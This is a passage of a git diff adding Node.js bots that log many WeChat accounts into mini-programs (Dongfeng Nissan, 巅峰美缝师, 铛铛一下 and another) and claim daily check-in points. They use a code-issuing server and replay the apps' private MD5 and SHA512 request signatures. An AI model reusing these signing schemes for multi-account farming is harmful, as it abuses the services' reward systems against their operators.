""; + this.userInfo = {}; + } + + applyToken(data = {}) { + this.token = data.token || data.mini_token || ""; + this.userInfo = data.userInfo || {}; + } + + getHeaders(extra = {}) { + return { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/json", + ...extra, + }; + } + + /** + * 复刻主包 ajax 的语义:GET 时业务参数一律走查询串(wx.request 的 data 在 GET 下就是 query), + * 所以 data 和 params 必须合并——旧版只取 params,导致签到的签名参数被静默丢弃。 + */ + async request({ base = CRM_BASE, method = "GET", apiPath, params = {}, data = {}, raw = false, stringifyPost = false }) { + const upperMethod = method.toUpperCase(); + const token = this.token; + const query = { ...params, ...data }; + const options = { + method: upperMethod, + url: `${base}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(), + timeout: 20000, + validateStatus: () => true, + }; + + if (upperMethod === "GET") { + if (query.type === undefined) query.type = 1; + if (token) query.mini_token = token; + options.params = query; + } else { + const payload = { ...query }; + if (payload.type === undefined) payload.type = 1; + if (token) payload.mini_token = token; + options.data = stringifyPost ? JSON.stringify(payload) : payload; + } + + const { data: result, status } = await axios.request(options); + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (raw) return result; + if (!isSuccess(result)) throw new Error(getMessage(result)); + return result.data ?? result.datas ?? result; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.account); + // wcs.getCode 在 status:false 时也会 resolve,必须显式判空,否则取码限流会被误报成登录失败 + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || JSON.stringify(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") { + throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + } + return code; + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + const result = await axios.request({ + method: "POST", + url: `${CRM_BASE}${EP_LOGIN}`, + headers: this.getHeaders(), + data: { code, storeNo: "" }, + timeout: 20000, + validateStatus: () => true, + }); + if (result.status !== 200) throw new Error(`HTTP ${result.status}: ${JSON.stringify(result.data)}`); + const body = result.data; + if (!isSuccess(body)) throw new Error(getMessage(body)); + const data = body.data || {}; + this.token = data.token || ""; + const crm = data.crmMemberInfo || {}; + const third = data.miniUserThirdVo || {}; + this.userInfo = { + id: data.id || crm.id || "", + name: crm.name || crm.nickName || data.nickName || "", + phone: crm.phone || crm.mobile || data.phone || data.mobile || "", + mobile: crm.mobile || crm.phone || data.mobile || data.phone || "", + tier: crm.tier || data.tier || "", + point: crm.point || data.point || "", + openId: third.openId || "", + unionId: third.unionId || "", + }; + if (!this.token) throw new Error(`登录响应未返回token: ${JSON.stringify(body)}`); + this.saveCachedToken(); + this.log(`登录成功${this.userInfo.phone ? `: ${maskPhone(this.userInfo.phone)}` : ""}`); + } catch (e) { + this.log(`登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.getSignInfo(false); + return true; + } catch (e) { + return false; + } + } + + async getSignInfo(needLog = true) { + const data = await this.request({ apiPath: EP_SIGN_INFO, raw: true }); + if (!isSuccess(data)) throw new Error(getMessage(data)); + const result = data?.data?.result || data?.datas?.result || {}; + this.signInfo = result; + const member = data?.data?.member || {}; + const miniUser = data?.data?.miniUser || {}; + const phone = this.userInfo.phone || this.userInfo.mobile || member.phone || member.mobile || miniUser.mobile || ""; + this.userInfo = { + ...this.userInfo, + name: this.userInfo.name || member.name || miniUser.name || "", + phone, + mobile: phone, + tier: this.userInfo.tier || member.tier || miniUser.tier || "", + point: member.point ?? miniUser.point ?? this.userInfo.point ?? "", + }; + this.saveCachedToken(); + + if (needLog) { + const userSign = result.userSign || {}; + const signed = this.isSignedToday(userSign.signDate); + this.log(`会员: ${this.userInfo.name || "未知"} ${maskPhone(phone)}`); + this.log(`签到状态: 连续${userSign.successionDay ?? userSign.signDay ?? 0}天 今日=${signed ? "已签" : "未签"} 抽奖机会=${userSign.lotteryCount ?? 0}`); + } + return result; + } + + isSignedToday(signDate) { + if (!signDate) return false; + const date = new Date(Number(signDate) || signDate); + if (Number.isNaN(date.getTime())) return false; + const y = date.getFullYear(); + const m = String(date.getMonth() + 1).padStart(2, "0"); + const d = String(date.getDate()).padStart(2, "0"); + return `${y}-${m}-${d}` === todayText(); + } + + async signIn() { + const userSign = this.signInfo?.userSign || {}; + if (this.isSignedToday(userSign.signDate)) { + this.log("今日已签到"); + return; + } + + const mobile = this.userInfo.phone || this.userInfo.mobile; + if (!mobile) { + this.log("签到跳过: 未取到会员手机号(sign.do 的签名以手机号为原料,缺了必然 403)"); + return; + } + + try { + const timestamp = Math.round(Date.now() / 1000); + const result = await this.request({ + apiPath: EP_SIGN, + // 必须走 GET 查询串,见文件头说明 + data: { + mobile, + timestamp, + sign: md5(`${mobile}${timestamp}${SIGN_SALT}`), + storeNo: "", + }, + raw: true, + }); + + if (isAlreadySigned(result)) { + this.log("今日已签到"); + return; + } + if (!isSuccess(result)) { + throw new Error(`${getMessage(result) || "未知错误"} | 原始响应: ${JSON.stringify(result).slice(0, 200)}`); + } + + const data = result.data || {}; + if (data.yearPointFull) { + this.log("签到成功,本年签到积分已达上限(200)"); + return; + } + const integral = data.integral ?? ""; + this.log(`签到成功${integral !== "" && integral !== "0" ? `: +${integral}积分` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/今日已签到|已签到/.test(message)) { + this.log("今日已签到"); + return; + } + this.log(`签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async ginsengTask() { + try { + const act = await this.request({ + base: ACT_BASE, + apiPath: EP_ACT_BY_STORE, + params: { templateId: TEMPLATE_GINSENG }, + raw: true, + }); + if (!isSuccess(act)) { + this.log(`种人参: 活动查询失败 ${getMessage(act)}`); + return; + } + const info = act.datas || act.data || {}; + if (!info.activityId) { + this.log("种人参: 未发现活动(可能已下线)"); + return; + } + if (Number(info.effectStatus) !== 1) { + this.log(`种人参: 活动未在进行中 (effectStatus=${info.effectStatus})`); + return; + } + + const detail = await this.request({ + base: ACT_BASE, + apiPath: EP_GINSENG_LEVEL, + params: { activityId: info.activityId }, + raw: true, + }); + if (!isSuccess(detail)) { + this.log(`种人参: 成长状态查询失败 ${getMessage(detail)}`); + return; + } + const g = detail.datas || detail.data || {}; + + if (g.neverJoin === true || g.joinActivity === false) { + this.log("种人参: 尚未参与,请先在小程序【积分商城-签到】页进入种人参活动一次"); + return; + } + + const drip = Number(g.dripTotal ?? 0); + const need = Number(g.dripThreshold ?? 0); + this.log(`种人参: Lv${g.level ?? "?"} ${g.levelName || ""} 已浇水${g.wateringTimes ?? 0}次 水滴${drip}${need ? `/${need}` : ""}`); + if (g.tips) this.log(`种人参: ${String(g.tips).replace(/<[^>]+>/g, "")}`); + + if (need && drip >= need) { + // 浇水接口在下不到的分包里,脚本不猜状态变更路径,只提醒 + this.log(`种人参: 水滴已够浇 ${Math.floor(drip / need)} 次,请到小程序里点浇水(浇水接口在分包内,脚本无法代浇)`); + } else if (need) { + this.log(`种人参: 还差 ${need - drip} 滴水才能浇一次(水滴来自邀请助力/购物,签到不产水滴)`); + } + } catch (e) { + this.log(`种人参失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + await new Task(account).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/ddyx.js b/wxapp/ddyx.js new file mode 100644 index 00000000..14852bdd --- /dev/null +++ b/wxapp/ddyx.js @@ -0,0 +1,189 @@ +/* +------------------------------------------ +@Description: 铛铛一下(旧衣服回收) - 微信小程序静默登录 + 每日签到 +cron: 32 8 * * * +------------------------------------------ +变量名:ddyx +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxe378d2d7636c180e,host vues.dd1x.cn): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录;鉴权用 token,放在请求头 token 里) + +登录 GET /wechat/login?code=&channelId=154 (头不带 token) + -> 返回 token(token/accessToken/access_token/jwt,可能在 data / data.data / data.data.user 层) +签到 GET /api/v2/sign_join 头 token: + -> code==0 成功,data.name(签到名称);重复签到 code!=0 且 msg 含"已签"类提示 +CHANNEL_ID(154) 是该小程序渠道应用常量(原脚本默认值,非个人凭证)。 +说明:原脚本还含抽奖/查余额/提现(移动真实资金)逻辑,签到脚本仅保留每日签到, + 不迁移提现等资金操作。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("铛铛一下签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "ddyx"; +const MINI_APP_ID = "wxe378d2d7636c180e"; +const BASE_URL = "https://vues.dd1x.cn"; +const CHANNEL_ID = process.env.DD1X_CHANNEL_ID || "154"; +const PAGE_VERSION = "824"; +const TOKEN_CACHE_FILE = path.join(__dirname, "ddyx_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/wechat/login"; +const EP_SIGN = "/api/v2/sign_join"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function extractToken(data) { + if (!data || typeof data !== "object") return ""; + const keys = ["token", "accessToken", "access_token", "jwt"]; + const layers = [data, data.data && typeof data.data === "object" ? data.data : null]; + const inner = data.data && typeof data.data === "object" ? data.data : {}; + if (inner.user && typeof inner.user === "object") layers.push(inner.user); + for (const layer of layers) { + if (!layer) continue; + for (const k of keys) { + const v = layer[k]; + if (v && String(v) !== "null" && String(v) !== "undefined") return String(v); + } + } + return ""; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(withToken = false) { + const h = { + "User-Agent": UA, + "Content-Type": "application/json", + Accept: "*/*", + xweb_xhr: "1", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept-Language": "zh-CN,zh;q=0.9", + }; + if (withToken && this.token) h.token = this.token; + return h; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "GET", url: `${BASE_URL}${EP_LOGIN}`, + params: { code, channelId: CHANNEL_ID }, + headers: this.headers(false), timeout: 20000, validateStatus: () => true, + }); + const body = res.data || {}; + this.token = extractToken(body); + if (!this.token) { + const msg = (body && (body.msg || body.message)) || short(body); + // 登录返回但拿不到 token:可能该微信号未注册/未绑定 + if (/注册|未绑定|绑定|授权|激活|会员|实名/.test(String(msg))) { + this.unregistered = true; + throw new Error(`NO_ACCOUNT:${msg}`); + } + throw new Error(`登录未返回 token(可能未注册): ${short(body)}`); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + isAuthErr(resp) { + const code = Number(resp && resp.code); + const msg = String((resp && (resp.msg || resp.message)) || ""); + if ([401, 403, 4001, 4003, 10401].includes(code)) return true; + return /token|登录|未授权|失效|过期|未登录|鉴权|会话|请先登录/i.test(msg); + } + async sign(retry = true) { + const res = await axios.request({ + method: "GET", url: `${BASE_URL}${EP_SIGN}`, + headers: this.headers(true), timeout: 20000, validateStatus: () => true, + }); + const body = res.data || {}; + if (Number(body.code) === 0) { + const d = body.data || {}; + const name = (d && (d.name || d.title)) || ""; + return this.log(`✅ 签到成功${name ? `:${name}` : ""}`); + } + const msg = body.msg || body.message || short(body); + if (/已签|签到过|重复|已完成|已参与|今日/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (retry && this.isAuthErr(body)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + if (/注册|未绑定|绑定|激活|会员|实名/.test(String(msg))) { this.unregistered = true; throw new Error(`NO_ACCOUNT:${msg}`); } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + if (String(e.message).startsWith("NO_ACCOUNT")) { + this.log(`⚠️ 该微信号还没在铛铛一下注册/绑定(${String(e.message).replace(/^NO_ACCOUNT:/, "")}),先在小程序里登录一次再跑`); + return; + } + if (/未返回 token/.test(String(e.message))) { this.log("⚠️ 登录未拿到 token(该微信号可能未注册铛铛一下),先在小程序里注册一次再跑"); return; } + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/dfmfs.js b/wxapp/dfmfs.js new file mode 100644 index 00000000..c4053044 --- /dev/null +++ b/wxapp/dfmfs.js @@ -0,0 +1,224 @@ +/* +------------------------------------------ +@Description: 巅峰美缝师 - 微信小程序静默登录 + 每日签到 +cron: 12 9 * * * +------------------------------------------ +变量名:dfmfs +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wx444ddc3d46767f9d,host api.dfmeifeng.com): +(迁移自 YYB-GO 系脚本,原脚本已 code 登录) + +登录 GET /wechat/miniapp/wechat/login?code=&memberId= (不带 token) + -> code==200,data.login===true,data.access_token(=后续 token),data.isNew +鉴权头(登录后):Authorization: Bearer ;t = md5(access_token + "YYYY-MM-DD")(北京时区,小写hex) +绑手机(仅新用户,新式 phoneCode):GET /wechat/miniapp/wechat/getPhoneNoInfo?code=&openid=&memberId= -> data.access_token(刷新) +签到状态 GET /wechat/miniapp/signin/getSignInfo -> data.todaySignIn / data.continuousDay +签到 POST /wechat/miniapp/signin/signIn {} -> code==200/0 +积分 GET /wechat/miniapp/member/getInfo -> data.balancePoints +成功码判定:code∈[200,0] 或 Success/success===true。 +登录本质是 jscode2session(仅需 code,不需明文 openid/unionid),故可迁移;新式 phoneCode 不与 login code 配对,故绑手机不受 blocked-4b 限制。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("巅峰美缝师签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "dfmfs"; +const MINI_APP_ID = "wx444ddc3d46767f9d"; +const API_BASE = "https://api.dfmeifeng.com"; +const HOST = "api.dfmeifeng.com"; +const PAGE_VERSION = "71"; +const TOKEN_CACHE_FILE = path.join(__dirname, "dfmfs_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF"; + +const EP_LOGIN = "/wechat/miniapp/wechat/login"; +const EP_GET_PHONE = "/wechat/miniapp/wechat/getPhoneNoInfo"; +const EP_GET_INFO = "/wechat/miniapp/member/getInfo"; +const EP_SIGN_INFO = "/wechat/miniapp/signin/getSignInfo"; +const EP_SIGN_IN = "/wechat/miniapp/signin/signIn"; + +const WX_SERVER_URL = process.env.wx_server_url || "http://192.168.31.196:8787"; +const WX_AUTH = process.env.wx_auth || ""; + +const wechat = new WeChatServer({ url: WX_SERVER_URL, appid: MINI_APP_ID, auth: WX_AUTH }); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +function md5(s) { return crypto.createHash("md5").update(String(s), "utf8").digest("hex"); } +function chinaDateStr() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return `${d.getUTCFullYear()}-${String(d.getUTCMonth() + 1).padStart(2, "0")}-${String(d.getUTCDate()).padStart(2, "0")}`; +} +function genT(token) { return token ? md5(token + chinaDateStr()) : ""; } +function isOk(res) { + if (!res || typeof res !== "object") return false; + if (res.code === 200 || res.code === 0 || res.code === "200" || res.code === "0") return true; + if (res.Success === true || res.success === true) return true; + return false; +} +function pickMsg(res) { + if (!res || typeof res !== "object") return short(res); + return res.msg || res.message || res.Message || res.retInfo || res.errMsg || short(res); +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + headers(withToken = true) { + const h = { + Accept: "*/*", "Content-Type": "application/json", Host: HOST, + "User-Agent": UA, xweb_xhr: "1", + Referer: `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + }; + if (withToken && this.token) { + h.Authorization = `Bearer ${this.token}`; + h.t = genT(this.token); + } + return h; + } + async req(method, apiPath, { withToken = true, data = undefined } = {}) { + const res = await axios.request({ + method, url: `${API_BASE}${apiPath}`, data: method === "POST" ? (data || {}) : undefined, + headers: this.headers(withToken), timeout: 20000, validateStatus: () => true, + }); + if (res.status !== 200 && !(res.data && typeof res.data === "object")) { + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async getPhoneCode() { + try { + const res = await axios.request({ + method: "POST", url: `${WX_SERVER_URL}/wx/getphonenumber`, + data: { openid: this.account.openid, appid: MINI_APP_ID }, + headers: { auth: WX_AUTH, "Content-Type": "application/json" }, + timeout: 30000, validateStatus: () => true, + }); + const d = res.data || {}; + return d?.data?.code || d?.code || ""; + } catch (e) { this.log(`取手机号code异常: ${e.message || e}`); return ""; } + } + async login() { + const code = await this.getCode(); + const res = await this.req("GET", `${EP_LOGIN}?code=${encodeURIComponent(code)}&memberId=`, { withToken: false }); + if (!isOk(res)) throw new Error(`登录失败: ${pickMsg(res)}`); + const data = res.data || {}; + this.token = String(data.access_token || ""); + if (!this.token) throw new Error(`登录未返回 access_token: ${short(res)}`); + const isNew = data.login !== true || data.isNew === true; + if (data.isNew === true) { + this.log("🆕 新用户,尝试绑定手机号刷新token"); + const phoneCode = await this.getPhoneCode(); + if (phoneCode) { + const pr = await this.req("GET", `${EP_GET_PHONE}?code=${encodeURIComponent(phoneCode)}&openid=&memberId=`); + const nt = pr?.data?.access_token; + if (nt) { this.token = String(nt); this.log("✅ 手机号绑定成功,token已刷新"); } + else this.log(`ℹ️ 绑定手机号未刷新token: ${pickMsg(pr)}`); + } else { + this.log("ℹ️ 未取到手机号code,跳过绑定"); + } + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log(`登录成功${isNew ? "(新用户)" : ""}`); + } + async points() { + try { + const res = await this.req("GET", EP_GET_INFO); + if (isOk(res)) return (res.data || {}).balancePoints; + } catch (e) {} + return undefined; + } + async sign(retry = true) { + // 更精确的会话失效判定(不含裸"过期",避免误判"活动有效期已过期") + const isAuth = (m) => /未登录|重新登录|登录已?过期|登录失效|token|未授权|鉴权|401|会话失效|请先登录/i.test(String(m || "")); + // 活动态门禁:日常活动有效期过期/需扫产品红包码延长(账号/产品态,非签到失败) + const isActivityGate = (m) => /活动.*(过期|失效|结束)|有效期已过期|扫.*红包码|扫.*(延长|激活)/.test(String(m || "")); + // 状态 + const info = await this.req("GET", EP_SIGN_INFO); + if (isOk(info)) { + const d = info.data || {}; + if (d.todaySignIn === true) return this.log(`✅ 今日已签到(连续 ${d.continuousDay ?? "?"} 天)`); + } else if (retry && isAuth(pickMsg(info))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; await this.login(); return this.sign(false); + } + // 签到 + const before = await this.points(); + const res = await this.req("POST", EP_SIGN_IN, { data: {} }); + if (isOk(res)) { + const after = await this.points(); + const delta = (typeof before === "number" && typeof after === "number") ? ` (+${after - before})` : ""; + return this.log(`✅ 签到成功${after !== undefined ? `,当前积分 ${after}${delta}` : ""}`); + } + const msg = pickMsg(res); + if (/已签|签到过|重复|已完成|今日已/.test(String(msg))) return this.log(`✅ 今日已签到(${msg})`); + if (isActivityGate(msg)) return this.log(`⚠️ 该微信号的日常活动有效期已过期,需先在小程序里扫产品顶部红包码激活/延长后再签(${msg})`); + if (retry && isAuth(msg)) { + this.log("会话失效,重新登录后重试"); + this.token = ""; await this.login(); return this.sign(false); + } + this.log(`❌ 签到失败: ${msg}`); + } + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { this.token = cached.token; this.log("使用缓存token"); return; } + if (!this.token) await this.login(); + } + async run() { + if (!this.account.openid) { this.log("跳过:变量值里没有 openid"); return; } + try { + await this.ensureLogin(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { $.log(`未找到变量 ${ckName}`); return; } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})().catch((e) => $.log(e.message || e)).finally(() => $.done()); diff --git a/wxapp/dfrc.js b/wxapp/dfrc.js new file mode 100644 index 00000000..000f1f4b --- /dev/null +++ b/wxapp/dfrc.js @@ -0,0 +1,274 @@ +/* +------------------------------------------ +@Description: 东风日产 人车生活 - 微信小程序静默登录 + 每日签到 +cron: 42 9 * * * +------------------------------------------ +变量名:dfrc +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxe3fd49854884240e): +(迁移自 YYB-GO 系脚本 东风日产.py,原脚本已 code 登录) + +登录 GET https://ariya-api.dongfeng-nissan.com.cn/toc-login-service/nissan/v2/user/login/{code} + ?wxUuid=..&sourcecode=&smartcode= 头 Accept-Encoding:identity + -> rows/data { oneid, api_token(wxapi JWT), token(ariya 短 hex), openid } + 无 oneid = 未注册/未激活会员 +查询 POST https://ariya-api.../dfn-growth/rest/ly-mp-growth-service/ly/mgs/checkin/signList + body {brandCode:1,channel:"2",startTime,endTime}(ariya 签名) + -> result=="1",rows[*].signTime.startsWith(今天) 即已签 +签到 GET https://wxapi.dongfeng-nissan.com.cn/api/small/v4/signin/mgs/checkin/signSave?wxUuid=.. + 头 Authorization:Bearer {api_token}, urid:{openid} + -> code==10000 成功 / code==10010 或含"已" 今日已签 +成长 POST https://ariya-api.../dfn-growth/rest/ly-mp-growth-service/ly/mgs/growth/growthvalue/medal + body {}(ariya 签名) -> result=="1",data.growthScore + +ariya 签名(抓包已复现):range 固定 "1",body 不参与签名 + sign = SHA512(clientid + timestamp(ms) + token + noncestr + "1" + oneid) + 头:appCode:nissan appSkin:NISSANAPP clientid:nissanminiapp noncestr oneid uuid=oneid + range:1 sign timestamp token +clientid/appCode/appSkin 是这家小程序固定应用常量(原脚本硬编码,非个人凭证)。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("东风日产签到"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "dfrc"; +const MINI_APP_ID = "wxe3fd49854884240e"; +const PAGE_VERSION = "1285"; +const ARIYA_BASE = "https://ariya-api.dongfeng-nissan.com.cn"; +const WXAPI_BASE = "https://wxapi.dongfeng-nissan.com.cn"; +const CLIENT_ID = "nissanminiapp"; +const APP_CODE = "nissan"; +const APP_SKIN = "NISSANAPP"; +const TOKEN_CACHE_FILE = path.join(__dirname, "dfrc_token_cache.json"); +const UA = + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 " + + "MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a1b)XWEB/14185"; +const REFERER = `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; } catch (e) { return {}; } +} +function writeCache(c) { + try { fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(c, null, 2), "utf8"); } catch (e) { $.log(`写入缓存失败: ${e.message || e}`); } +} +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} +// 复刻小程序 getNonce:32 位大写 hex,第 13 位(index 12)固定为 4 +function genNoncestr() { + const chars = "0123456789abcdef"; + const arr = []; + for (let i = 0; i < 32; i++) arr.push(i === 12 ? "4" : chars[Math.floor(Math.random() * 16)]); + return arr.join("").toUpperCase(); +} +function randomUuid(len = 20) { + const chars = "abcdef0123456789"; + let s = ""; + for (let i = 0; i < len; i++) s += chars[Math.floor(Math.random() * chars.length)]; + return s; +} +function sha512(text) { + return crypto.createHash("sha512").update(text, "utf8").digest("hex"); +} +function chinaDateStr() { + const d = new Date(Date.now() + 8 * 3600 * 1000); + return `${d.getUTCFullYear()}-${String(d.getUTCMonth() + 1).padStart(2, "0")}-${String(d.getUTCDate()).padStart(2, "0")}`; +} +// 从多层壳里挖登录返回体(rows / data) +function digData(result) { + if (!result || typeof result !== "object") return {}; + for (const key of ["rows", "data"]) { + const v = result[key]; + if (v && typeof v === "object" && !Array.isArray(v)) return v; + } + return {}; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.openid = this.account.openid; // smallcat 账号变量值本身就是 openid + this.oneid = ""; + this.token = ""; // ariya 短 hex token(ariya 签名头用) + this.apiToken = ""; // wxapi JWT(signSave 用) + this.wxUuid = randomUuid(); + } + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + async login() { + const code = await this.getCode(); + const res = await axios.request({ + method: "GET", + url: `${ARIYA_BASE}/toc-login-service/nissan/v2/user/login/${encodeURIComponent(code)}`, + params: { wxUuid: this.wxUuid, sourcecode: "", smartcode: "" }, + headers: { + Accept: "*/*", "Accept-Encoding": "identity", + "User-Agent": UA, Referer: REFERER, xweb_xhr: "1", + }, + timeout: 20000, validateStatus: () => true, + }); + const result = res.data; + this.log(`登录响应: ${short(result, 300)}`); + const data = digData(result); + this.oneid = String( + data.oneid || data.oneId || data.ly_user_id || data.uuid || data.uid || + data.userId || data.memberId || (result && result.oneid) || ""); + this.token = String(data.token || data.access_token || data.api_token || (result && result.token) || ""); + this.apiToken = String(data.api_token || ""); + const oid = data.openid || data.openId || ""; + if (oid) this.openid = oid; + if (!this.oneid) { + 